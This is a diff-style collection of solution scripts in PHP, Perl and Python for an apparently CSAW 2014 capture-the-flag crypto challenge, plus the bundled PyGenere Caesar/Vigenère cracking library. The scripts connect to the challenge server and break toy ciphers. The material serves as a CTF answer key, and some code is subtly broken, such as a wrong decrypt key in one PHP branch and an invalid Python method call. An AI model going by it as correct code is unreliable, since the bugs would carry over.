if(inStr("psifer text:", $kp)){
|
||||
$kp = explode("psifer text: ", $kp);
|
||||
$kp = $kp[1];
|
||||
$kp = explode("\n", $kp);
|
||||
$kp = $kp[0];
|
||||
for($i=0;$i<25;$i++){
|
||||
$temp = str_rot($kp, $i) . "\n";
|
||||
if(instr("the answer to this stage is" , $temp)){
|
||||
$temp = explode("the answer to this stage is " , $temp);
|
||||
$temp = $temp[1];
|
||||
goto second;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
second:
|
||||
fputs($usenet, $temp);
|
||||
while (!feof($usenet)) {
|
||||
$kp = fgets($usenet, 260);
|
||||
if(inStr("psifer text:", $kp)){
|
||||
$kp = explode("psifer text: ", $kp);
|
||||
$kp = $kp[1];
|
||||
$possible_flag = array("easiest answer", "more answers here", "winning for the win", "tired of making up bogus answers", "not not wrong");
|
||||
$possible_guess= rand(0,2);
|
||||
fputs($usenet, $possible_flag[$possible_guess] . "\n");
|
||||
goto third;
|
||||
}
|
||||
}
|
||||
third:
|
||||
while (!feof($usenet)) {
|
||||
if(!$usenet) die("error.");
|
||||
$kp = fgets($usenet, 8192);
|
||||
if(inStr("psifer text:", $kp)){
|
||||
$kp = explode("psifer text: ", $kp);
|
||||
$kp = $kp[1];
|
||||
/*
|
||||
echo @decrypt_final("force",$kp) . "\n----\n";
|
||||
echo @decrypt_final("tobrute",$kp) . "\n----\n";
|
||||
echo @decrypt_final("dictionary",$kp) . "\n----\n";
|
||||
echo @decrypt_final("diary",$kp) . "\n----\n";
|
||||
*/
|
||||
if(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("force",$kp))){
|
||||
$temp = @decrypt_final("force",$kp);
|
||||
$temp = explode("DLERIGHTHERE",$temp);
|
||||
$temp = $temp[1];
|
||||
$temp = explode("OKNOW",$temp);
|
||||
$temp = $temp[0];
|
||||
fputs($usenet, $temp);
|
||||
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("tobrute",$kp))){
|
||||
$temp = @decrypt_final("tobrute",$kp);
|
||||
$temp = explode("DLERIGHTHERE",$temp);
|
||||
$temp = $temp[1];
|
||||
$temp = explode("OKNOW",$temp);
|
||||
$temp = $temp[0];
|
||||
fputs($usenet, $temp);
|
||||
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("dictionary",$kp))){
|
||||
$temp = @decrypt_final("tobrute",$kp);
|
||||
$temp = explode("DLERIGHTHERE",$temp);
|
||||
$temp = $temp[1];
|
||||
$temp = explode("OKNOW",$temp);
|
||||
$temp = $temp[0];
|
||||
fputs($usenet, $temp);
|
||||
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("diary",$kp))){
|
||||
$temp = @decrypt_final("diary",$kp);
|
||||
$temp = explode("DLERIGHTHERE",$temp);
|
||||
$temp = $temp[1];
|
||||
$temp = explode("OKNOW",$temp);
|
||||
$temp = $temp[0];
|
||||
fputs($usenet, $temp);
|
||||
}
|
||||
fputs($usenet,"\n");
|
||||
$kp = fgets($usenet, 8192);
|
||||
echo $kp;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
|
@ -0,0 +1,168 @@
|
|||
#!/usr/bin/perl -w
|
||||
|
||||
# By Black-ID
|
||||
#@Go Back
|
||||
#CSAW 2014
|
||||
|
||||
|
||||
use IO::Socket;
|
||||
use POSIX;
|
||||
use warnings;
|
||||
no warnings;
|
||||
|
||||
my $server = "54.209.5.48";
|
||||
my $port = 12345;
|
||||
|
||||
# Create new Socket
|
||||
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => $port,Proto => 'tcp') or die "Can't connect\n";
|
||||
|
||||
# Log on to CSAW server.
|
||||
|
||||
sub caesarCipher {
|
||||
$strText = $_[0];
|
||||
$iShiftValue = $_[1];
|
||||
|
||||
my $strCipherText = "";
|
||||
@strTextArray = split(//, $strText);
|
||||
|
||||
$iShift = $iShiftValue % 26;
|
||||
if ($iShift < 0) {
|
||||
$iShift += 26;
|
||||
}
|
||||
|
||||
$i = 0;
|
||||
while ($i < length($strText)) {
|
||||
$c = uc($strTextArray[$i]);
|
||||
if ( ($c ge 'A') && ($c le 'Z') ) {
|
||||
if ( chr(ord($c) + $iShift) gt 'Z') {
|
||||
$strCipherText .= chr(ord($c) + $iShift - 26);
|
||||
} else {
|
||||
$strCipherText .= chr(ord($c) + $iShift);
|
||||
}
|
||||
} else {
|
||||
$strCipherText .= " ";
|
||||
}
|
||||
$i++;
|
||||
}
|
||||
return lc($strCipherText);
|
||||
}
|
||||
|
||||
sub scytaleCipher {
|
||||
$strText = $_[0];
|
||||
$iShiftValue = $_[1];
|
||||
|
||||
my $strCipherText = "";
|
||||
@strTextArray = split //, $strText;
|
||||
$M = length($strText);
|
||||
$iShift = floor($M/$iShiftValue);
|
||||
|
||||
if ($iShift*$iShiftValue < $M) {
|
||||
$iShift++;
|
||||
}
|
||||
for($a=0;$a<$iShiftValue;$a++) {
|
||||
for($i=0;$i<$iShift;$i++) {
|
||||
$strCipherText .= $strTextArray[$a+$i*$iShiftValue];
|
||||
}
|
||||
}
|
||||
return $strCipherText;
|
||||
}
|
||||
sub vigenerebrute{
|
||||
$strChiper = $_[0];
|
||||
$strCipherText = "";
|
||||
$a = 0;
|
||||
for($a=0;$a<10;$a++) {
|
||||
@chars = split(//, "abcdefghijklmnopqrstuvwxyz");
|
||||
#print $chars[0];
|
||||
for($i=0;$i<26;$i++) {
|
||||
$output = decrypt_string($strChiper,$chars[$i]);
|
||||
@out = split(//, $output);
|
||||
@cmp = split(//, "thistimewewillgive");
|
||||
#print $out[$i];
|
||||
if($out[$a] eq $cmp[$a]) {
|
||||
$strCipherText .= $chars[$i];
|
||||
}
|
||||
}
|
||||
$output = decrypt_string($strChiper,$strCipherText);
|
||||
if($output =~ /thistimewewillgive(.*)/){
|
||||
last;
|
||||
}
|
||||
}
|
||||
if ($output =~ /righthere(.*)oknow/){
|
||||
return $1;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
sub decrypt_string{
|
||||
my ($ciphertext, $key) = @_;
|
||||
my $plaintext;
|
||||
$key = $key x (length($ciphertext) / length($key) + 1);
|
||||
for( my $i=0; $i<length($ciphertext); $i++ ){
|
||||
$plaintext .=
|
||||
decrypt_letter( (substr($ciphertext,$i,1)), (substr($key,$i,1)));
|
||||
}
|
||||
return $plaintext;
|
||||
}
|
||||
sub decrypt_letter{
|
||||
my ($cipher, $row) = @_;
|
||||
my $plain;
|
||||
$row = ord(lc($row)) - ord('a');
|
||||
$cipher = ord(lc($cipher)) - ord('a');
|
||||
$plain = ($cipher - $row) % 26;
|
||||
|
||||
$plain = chr($plain + ord('a'));
|
||||
|
||||
return lc($plain);
|
||||
}
|
||||
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
if($data =~ m/psifer text: (.+)$/g){
|
||||
$cipher = $1;
|
||||
print "\nEncoded: $cipher\n";
|
||||
for($a=0;$a<=26;$a++) {
|
||||
|
||||
$st = caesarCipher($cipher, $a);
|
||||
if ($st =~ /the answer(.*)/){
|
||||
print "\nDecoded: $st\n";
|
||||
$ccipher = substr $st, 28;
|
||||
$sock->send($ccipher."\n");
|
||||
print "\nKey: $ccipher\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
if($data =~ /psifer text: (.*)/){
|
||||
$cipher = $1;
|
||||
print "\nEncoded: $cipher\n";
|
||||
for($a=1;$a<=300;$a++) {
|
||||
$st = scytaleCipher ($cipher,$a);
|
||||
if ($st =~ /I hope you(.*)/){
|
||||
print "[$a] => $st\n";
|
||||
if($st =~ /"(.+?)"/){
|
||||
$key = $1;
|
||||
print "\nkey is : $key\n";
|
||||
$sock->send($key."\n");
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
if($data =~ /psifer text: (.*)/){
|
||||
$cipher = $1;
|
||||
$cipher =~ s/\s+//g;
|
||||
print "\nEncoded: $cipher\n";
|
||||
$key = vigenerebrute($cipher);
|
||||
print "\nkey is : $key\n";
|
||||
$sock->send($key."\n");
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
$sock->recv($data,1024);
|
||||
print $data;
|
||||
}
|
||||
|
|
@ -0,0 +1,122 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import sys
|
||||
from telnetlib import Telnet
|
||||
from caesarCipher import decipher, decipher_simple
|
||||
from pygenere import VigCrack
|
||||
|
||||
|
||||
|
||||
def solve1(msg):
|
||||
# Caesar Cipher
|
||||
# Solve the first cypher and encode back to unicode:
|
||||
# the method encode() returns an encoded version of the string
|
||||
# Both method work fine.
|
||||
# One is by freq. analysis or the other by rotating
|
||||
dec_msg = decipher(msg)
|
||||
#dec_msg = decipher_simple(msg)
|
||||
dec_msg = dec_msg.split()[-1]
|
||||
return dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
def solve2(msg):
|
||||
msg="I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h"
|
||||
# Shift cypher, but dealing with special characters
|
||||
for j in range(2, len(msg)):
|
||||
|
||||
dec_msg = ['0'] * len(msg)
|
||||
idec_msg, shift = 0, 0
|
||||
|
||||
for i in range(len(msg)):
|
||||
dec_msg[idec_msg] = msg[i]
|
||||
idec_msg += j
|
||||
|
||||
if idec_msg > len(msg) - 1:
|
||||
shift += 1
|
||||
idec_msg = shift
|
||||
dec_msg = "".join(dec_msg)
|
||||
|
||||
if "you" not in dec_msg: continue
|
||||
return dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
def solve3(msg):
|
||||
# Vigenere Cypher
|
||||
key = VigCrack(msg).crack_codeword()
|
||||
dec_msg = VigCrack(msg).crack_message()
|
||||
dec_msg = dec_msg.replace(" ", "")
|
||||
return key, dec_msg
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
"""
|
||||
PORT = 12345
|
||||
HOST = '54.209.5.48'
|
||||
tn = Telnet(HOST ,PORT)
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 1 - CEASAR CIPHER
|
||||
'''
|
||||
|
||||
tn.read_until(b'psifer text: ')
|
||||
msg_in1 = tn.read_until(b'\n').dec_msg().strip()
|
||||
|
||||
answer1 = solve1(msg_in1)
|
||||
|
||||
tn.write(answer1.encode() + b'\n')
|
||||
|
||||
print 'Message stage 1: ' + msg_in1
|
||||
print
|
||||
print 'Answer stage 1: ' + answer1
|
||||
print
|
||||
print
|
||||
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 2 - SPECIAL CHARS
|
||||
'''
|
||||
msg_in2 = tn.read_all().dec_msg()
|
||||
msg_in2 = (msg_in2.split(':')[1]).split("Time")[0]
|
||||
|
||||
answer2 = solve2(msg_in2)
|
||||
|
||||
tn.write(answer2.encode() + b'\n')
|
||||
|
||||
print 'Message stage 2: ' + msg_in2
|
||||
print
|
||||
print 'Answer stage 2: ' + answer2
|
||||
print
|
||||
print
|
||||
|
||||
|
||||
'''
|
||||
SOLVING STAGE 3 - VINEGERE
|
||||
'''
|
||||
msg_in3 = tn.read_all().dec_msg()
|
||||
msg_in3 = (msg_in3.split(':')[1]).split("Time")[0]
|
||||
|
||||
|
||||
key, answer3 = solve3(msg_in3)
|
||||
tn.write(answer3.encode() + b'\n')
|
||||
|
||||
print 'Message stage 3: ' + msg_in3
|
||||
print
|
||||
print 'Answer stage 3: ' + answer3
|
||||
print '(key: ' + key + ')'
|
||||
|
||||
"""
|
||||
print solve2(msg='a')
|
||||
|
|
@ -0,0 +1,477 @@
|
|||
# PyGenere v 0.3
|
||||
#
|
||||
# Release Date: 2007-02-16
|
||||
# Author: Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# URL: http://smurfoncrack.com/pygenere
|
||||
# History and License at end of file
|
||||
|
||||
|
||||
r"""
|
||||
This library implements the Caesar and Vigenere ciphers, allowing a piece of
|
||||
plaintext to be encoded using a numeric rotation or an alphabetic keyword,
|
||||
and also decoded if the key/rotation is known.
|
||||
|
||||
In case the key is not known, methods are provided that analyze the ciphertext
|
||||
and attempt to find the original key and decode the message: these work using
|
||||
character frequency analysis. English, French, German, Italian, Portuguese,
|
||||
and Spanish texts are currently supported. Results are generally accurate if
|
||||
the length of the plaintext is long compared to the length of the key used to
|
||||
encipher it.
|
||||
|
||||
Example usage:
|
||||
|
||||
>>> from pygenere import *
|
||||
>>> plaintext = 'Attack at dawn.'
|
||||
>>> key = 3
|
||||
>>> ciphertext = Caesar(plaintext).encipher(key)
|
||||
>>> ciphertext
|
||||
'Dwwdfn dw gdzq.'
|
||||
>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc.
|
||||
'Attack at dawn.'
|
||||
|
||||
The 'Attack at dawn.' message is too short for the automatic Vigenere decoder
|
||||
to work properly. A way around this is to concatenate copies of the message
|
||||
to itself, increasing the amount of text to analyze:
|
||||
|
||||
>>> VigCrack(ciphertext*5).crack_codeword(1)
|
||||
'D'
|
||||
>>> VigCrack(ciphertext*5).crack_message()
|
||||
'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.'
|
||||
|
||||
The crack_message() and crack_codeword() methods in the VigCrack class take 0,
|
||||
1 or 2 arguments. For more information, see the docstrings for those methods.
|
||||
|
||||
Note that this method (repeating the ciphertext) does not always work, but can
|
||||
sometimes be of use, as in the case of the example above.
|
||||
|
||||
Both the encipher() and decipher() methods for Vigenere and Caesar objects
|
||||
return a cipher object of the same type. This makes method chaining possible:
|
||||
|
||||
>>> codeword = 'King'
|
||||
>>> Vigenere(plaintext).encipher(codeword).decipher(codeword)
|
||||
'Attack at dawn.'
|
||||
>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1)
|
||||
'Attack at dawn.'
|
||||
|
||||
Note:
|
||||
|
||||
1. Non-alphabetic input (e.g. " " and "." above) is left as is.
|
||||
2. The case of the input (plaintext/ciphertext) is preserved.
|
||||
3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are
|
||||
identical keys.
|
||||
|
||||
Since each cipher is a subclass of the built-in str class, any cipher object
|
||||
can be treated as a string. For instance:
|
||||
|
||||
>>> Vigenere(plaintext).replace(' ', '').lower()
|
||||
'attackatdawn.'
|
||||
|
||||
However, since Python 2.1 and below don't seem to support subclasses of
|
||||
the str class, Python 2.2 or newer is required to use this library.
|
||||
|
||||
By default, PyGenere assumes that the original plaintext message was written
|
||||
in English, and thus English character frequencies are used for analysis.
|
||||
To change the language, the set_language() method is used. For example, the
|
||||
following code shows a short French string, encrypted with the keyword
|
||||
'FR', decoded. Without setting the language first, an incorrect result is
|
||||
obtained:
|
||||
|
||||
>>> text = 'Non, je ne veux pas coucher avec vous ce soir'
|
||||
>>> encrypted = Vigenere(text).encipher('FR')
|
||||
>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2)
|
||||
FR
|
||||
>>> print VigCrack(encrypted).crack_codeword(2)
|
||||
FS
|
||||
|
||||
This isn't always the case: two languages may have similar enough character
|
||||
frequency distributions that decoding sometimes works correctly even when the
|
||||
language setting is incorrect.
|
||||
|
||||
Currently, PyGenere's language options other than English are DE (German),
|
||||
ES (Spanish), FR (French), IT (Italian), and PT (Portuguese).
|
||||
"""
|
||||
|
||||
|
||||
class Caesar(str):
|
||||
|
||||
"""An implementation of the Caesar cipher."""
|
||||
|
||||
def encipher(self, shift):
|
||||
"""Encipher input (plaintext) using the Caesar cipher and return it
|
||||
(ciphertext)."""
|
||||
ciphertext = []
|
||||
for p in self:
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) +
|
||||
shift) % 26 + ord('Aa'[int(p.islower())])))
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Caesar(''.join(ciphertext))
|
||||
|
||||
def decipher(self, shift):
|
||||
"""Decipher input (ciphertext) using the Caesar cipher and return it
|
||||
(plaintext)."""
|
||||
return self.encipher(-shift)
|
||||
|
||||
|
||||
class Vigenere(str):
|
||||
|
||||
"""An implementation of the Vigenere cipher."""
|
||||
|
||||
def encipher(self, key):
|
||||
"""Encipher input (plaintext) using the Vigenere cipher and return
|
||||
it (ciphertext)."""
|
||||
ciphertext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
p = self[i]
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) + ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(p.islower())]
|
||||
) - 2*ord('Aa'[int(p.islower())])) % 26 +
|
||||
ord('Aa'[int(p.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Vigenere(''.join(ciphertext))
|
||||
|
||||
def decipher(self, key):
|
||||
"""Decipher input (ciphertext) using the Vigenere cipher and return
|
||||
it (plaintext)."""
|
||||
plaintext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
c = self[i]
|
||||
if c.isalpha():
|
||||
plaintext.append(chr((ord(c) - ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(c.islower())]
|
||||
)) % 26 + ord('Aa'[int(c.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
plaintext.append(c)
|
||||
return Vigenere(''.join(plaintext))
|
||||
|
||||
|
||||
class InputError(Exception):
|
||||
|
||||
"""This class is only used for throwing exceptions if the user supplies
|
||||
invalid input (e.g. ciphertext is an empty string)."""
|
||||
|
||||
pass
|
||||
|
||||
|
||||
class VigCrack(Vigenere):
|
||||
|
||||
"""
|
||||
VigCrack objects have methods to break Vigenere-encoded texts when the
|
||||
original key is unknown.
|
||||
|
||||
The technique used is based on the one described in:
|
||||
|
||||
http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf
|
||||
(pages 9-10)
|
||||
|
||||
Character frequencies taken from:
|
||||
http://www.csm.astate.edu/~rossa/datasec/frequency.html (English)
|
||||
http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish)
|
||||
http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German)
|
||||
"""
|
||||
|
||||
# Unless otherwise specified, test for codewords between (and including)
|
||||
# these two lengths:
|
||||
__default_min_codeword_length = 5
|
||||
__default_max_codeword_length = 9
|
||||
|
||||
# The following are language-specific data on character frequencies.
|
||||
# Kappa is the "index of coincidence" described in the cryptography paper
|
||||
# (link above).
|
||||
__english_data = {
|
||||
'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702,
|
||||
'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153,
|
||||
'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507,
|
||||
'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056,
|
||||
'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974,
|
||||
'Z':0.074, 'max_val':12.702, 'kappa':0.0667
|
||||
}
|
||||
|
||||
__french_data = {
|
||||
'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22,
|
||||
'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339,
|
||||
'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38,
|
||||
'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99,
|
||||
'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271,
|
||||
'Z':0.098, 'max_val':17.22, 'kappa':0.0746
|
||||
}
|
||||
|
||||
__german_data = {
|
||||
'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693,
|
||||
'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191,
|
||||
'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285,
|
||||
'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742,
|
||||
'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032,
|
||||
'Z':1.002, 'max_val':16.693, 'kappa':0.0767
|
||||
}
|
||||
|
||||
__italian_data = {
|
||||
'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24,
|
||||
'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035,
|
||||
'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11,
|
||||
'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76,
|
||||
'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048,
|
||||
'Z':0.958, 'max_val':11.57, 'kappa':0.0733
|
||||
}
|
||||
|
||||
__portuguese_data = {
|
||||
'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72,
|
||||
'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317,
|
||||
'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90,
|
||||
'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63,
|
||||
'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165,
|
||||
'Z':0.400, 'max_val':13.89, 'kappa':0.0745
|
||||
}
|
||||
|
||||
__spanish_data = {
|
||||
'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89,
|
||||
'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461,
|
||||
'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58,
|
||||
'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49,
|
||||
'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14,
|
||||
'Z':0.324, 'max_val':13.89, 'kappa':0.0766
|
||||
}
|
||||
|
||||
# The default language is set to English.
|
||||
__lang = 'EN'
|
||||
__lang_data = __english_data
|
||||
|
||||
# This method sets the lang (__lang) attribute of a VigCrack object.
|
||||
def set_language(self, language):
|
||||
self.__lang = language.upper()
|
||||
if self.__lang == 'DE':
|
||||
self.__lang_data = self.__german_data
|
||||
elif self.__lang == 'ES':
|
||||
self.__lang_data = self.__spanish_data
|
||||
elif self.__lang == 'FR':
|
||||
self.__lang_data = self.__french_data
|
||||
elif self.__lang == 'IT':
|
||||
self.__lang_data = self.__italian_data
|
||||
elif self.__lang == 'PT':
|
||||
self.__lang_data = self.__portuguese_data
|
||||
else:
|
||||
self.__lang = 'EN'
|
||||
return self
|
||||
|
||||
# Rotate text n places to the right, wrapping around at the end.
|
||||
def __rotate_right(self, n):
|
||||
cutting_point = len(self) - (n % len(self))
|
||||
return self[cutting_point:] + self[:cutting_point]
|
||||
|
||||
# Get every nth char from a piece of text, from a given starting position.
|
||||
def __get_every_nth_char(self, start, n):
|
||||
accumulator = []
|
||||
for i in range(len(self)):
|
||||
if (i % n) == start:
|
||||
accumulator.append(self[i])
|
||||
return VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
|
||||
# Build a dictionary containing the number of occurrences of each char.
|
||||
def __count_char_freqs(self):
|
||||
dictionary = {}
|
||||
self = self.upper()
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
dictionary[char] = dictionary.get(char, 0) + 1
|
||||
return dictionary
|
||||
|
||||
# Scale the dictionary so that it can be compared with __lang_data.
|
||||
def __scale(self, dictionary):
|
||||
v = dictionary.values()
|
||||
v.sort()
|
||||
max_val = v[-1]
|
||||
scaling_factor = self.__lang_data['max_val']/max_val
|
||||
for (k, v) in dictionary.items():
|
||||
dictionary[k] = v*scaling_factor
|
||||
return dictionary
|
||||
|
||||
# The residual error is the difference between a char's frequency in
|
||||
# __lang_data and its frequency in the scaled dictionary from above.
|
||||
# The error is then squared to remove a possible negative value.
|
||||
def __sum_residuals_squared(self, dictionary):
|
||||
sum = 0
|
||||
for (k, v) in dictionary.items():
|
||||
sum += (v - self.__lang_data[k])**2
|
||||
return sum
|
||||
|
||||
# Find the Caesar shift that brings the ciphertext closest to the
|
||||
# character distribution of the plaintext's language.
|
||||
def __find_best_caesar_shift(self):
|
||||
best = 0
|
||||
smallest_sum = -1
|
||||
# Find the residual sum for each shift.
|
||||
for shift in range(26):
|
||||
encoded_text = Caesar(self).encipher(shift)
|
||||
vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang)
|
||||
char_freqs = vigcrack_obj.__count_char_freqs()
|
||||
scaled = vigcrack_obj.__scale(char_freqs)
|
||||
current_sum = vigcrack_obj.__sum_residuals_squared(scaled)
|
||||
# Keep track of the shift with the lowest residual sum.
|
||||
# If there's a tie, the smallest shift wins.
|
||||
if smallest_sum == -1:
|
||||
smallest_sum = current_sum
|
||||
if current_sum < smallest_sum:
|
||||
best = shift
|
||||
smallest_sum = current_sum
|
||||
return best
|
||||
|
||||
def __find_codeword_length(self, min_length, max_length):
|
||||
codeword_length = min_length
|
||||
kappas = []
|
||||
# Put the kappa value for each codeword length tested into an array.
|
||||
for i in range(min_length, max_length + 1):
|
||||
temp = self.__rotate_right(i)
|
||||
coincidences = 0
|
||||
for j in range(len(self)):
|
||||
if temp[j] == self[j]:
|
||||
coincidences += 1
|
||||
kappas.append(float(coincidences)/len(self))
|
||||
# Find out which value of kappa is closest to the kappa of the
|
||||
# plaintext's language. If there's a tie, the shortest codeword wins.
|
||||
smallest_squared_diff = -1
|
||||
for i in range((max_length + 1) - min_length):
|
||||
current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2
|
||||
if smallest_squared_diff == -1:
|
||||
smallest_squared_diff = current_squared_diff
|
||||
if current_squared_diff < smallest_squared_diff:
|
||||
codeword_length = min_length + i
|
||||
smallest_squared_diff = current_squared_diff
|
||||
return codeword_length
|
||||
|
||||
def __find_codeword(self, min_length, max_length):
|
||||
# Strip away invalid chars.
|
||||
accumulator = []
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
accumulator.append(char)
|
||||
alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
codeword_length = alpha_only.__find_codeword_length(min_length,
|
||||
max_length)
|
||||
# Build the codeword by finding one character at a time.
|
||||
codeword = []
|
||||
for i in range(codeword_length):
|
||||
temp = alpha_only.__get_every_nth_char(i, codeword_length)
|
||||
shift = temp.__find_best_caesar_shift()
|
||||
if shift == 0:
|
||||
codeword.append('A')
|
||||
else:
|
||||
codeword.append(chr(ord('A') + (26 - shift)))
|
||||
return VigCrack(''.join(codeword)).set_language(self.__lang)
|
||||
|
||||
def __parse_args(self, *arg_list):
|
||||
if len(arg_list) == 0: # Use default values for codeword length.
|
||||
min_length = self.__default_min_codeword_length
|
||||
max_length = self.__default_max_codeword_length
|
||||
elif len(arg_list) == 1: # Exact codeword length specified by user.
|
||||
min_length = max_length = int(arg_list[0])
|
||||
else: # min_length and max_length given by user.
|
||||
min_length = int(arg_list[0])
|
||||
max_length = int(arg_list[1])
|
||||
# Check for input errors.
|
||||
if min_length == max_length:
|
||||
if min_length < 1:
|
||||
raise InputError('Codeword length is too small')
|
||||
else:
|
||||
if min_length < 1:
|
||||
raise InputError('min_length is too small')
|
||||
if max_length < 1:
|
||||
raise InputError('max_length is too small')
|
||||
if max_length < min_length:
|
||||
raise InputError('max_length cannot be shorter than min_length')
|
||||
if len(self) == 0:
|
||||
raise InputError('Ciphertext is empty')
|
||||
if len(self) < max_length:
|
||||
raise InputError('Ciphertext is too short')
|
||||
# Check that the ciphertext contains at least one valid character.
|
||||
has_valid_char = False
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
has_valid_char = True
|
||||
break
|
||||
if not has_valid_char:
|
||||
raise InputError('No valid characters in ciphertext')
|
||||
# If everything's all right, return the min_length and max_length.
|
||||
return [min_length, max_length]
|
||||
|
||||
def crack_codeword(self, *arg_list):
|
||||
"""
|
||||
Try to find the codeword that encrypted the ciphertext object.
|
||||
If no arguments are supplied, codewords between the default minimum
|
||||
length and the default maximum length are tried.
|
||||
If one integer argument is supplied, only codewords with that length
|
||||
will be tried.
|
||||
If two integer arguments are given then the first argument is treated
|
||||
as a minimum codeword length, and the second argument is treated as a
|
||||
maximum codeword length, to try.
|
||||
"""
|
||||
array = self.__parse_args(*arg_list)
|
||||
return self.__find_codeword(array[0], array[1])
|
||||
|
||||
def crack_message(self, *arg_list):
|
||||
"""
|
||||
Try to decode the ciphertext object.
|
||||
This method accepts arguments in the same way as the crack_codeword()
|
||||
method.
|
||||
"""
|
||||
codeword = self.crack_codeword(*arg_list)
|
||||
return self.decipher(codeword)
|
||||
|
||||
|
||||
# History
|
||||
# -------
|
||||
#
|
||||
# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code
|
||||
# more compliant with the Python Style Guide
|
||||
# (http://www.python.org/dev/peps/pep-0008/).
|
||||
#
|
||||
# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES),
|
||||
# French (FR), Italian (IT), and Portuguese (PT).
|
||||
#
|
||||
# 2006-04-29: v 0.1. First release.
|
||||
#
|
||||
#
|
||||
#
|
||||
# License
|
||||
# -------
|
||||
#
|
||||
# Copyright (c) 2006, Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# This library incorporates code from the PyCipher project on SourceForge.net
|
||||
# (http://sourceforge.net/projects/pycipher/). The original copyright notice
|
||||
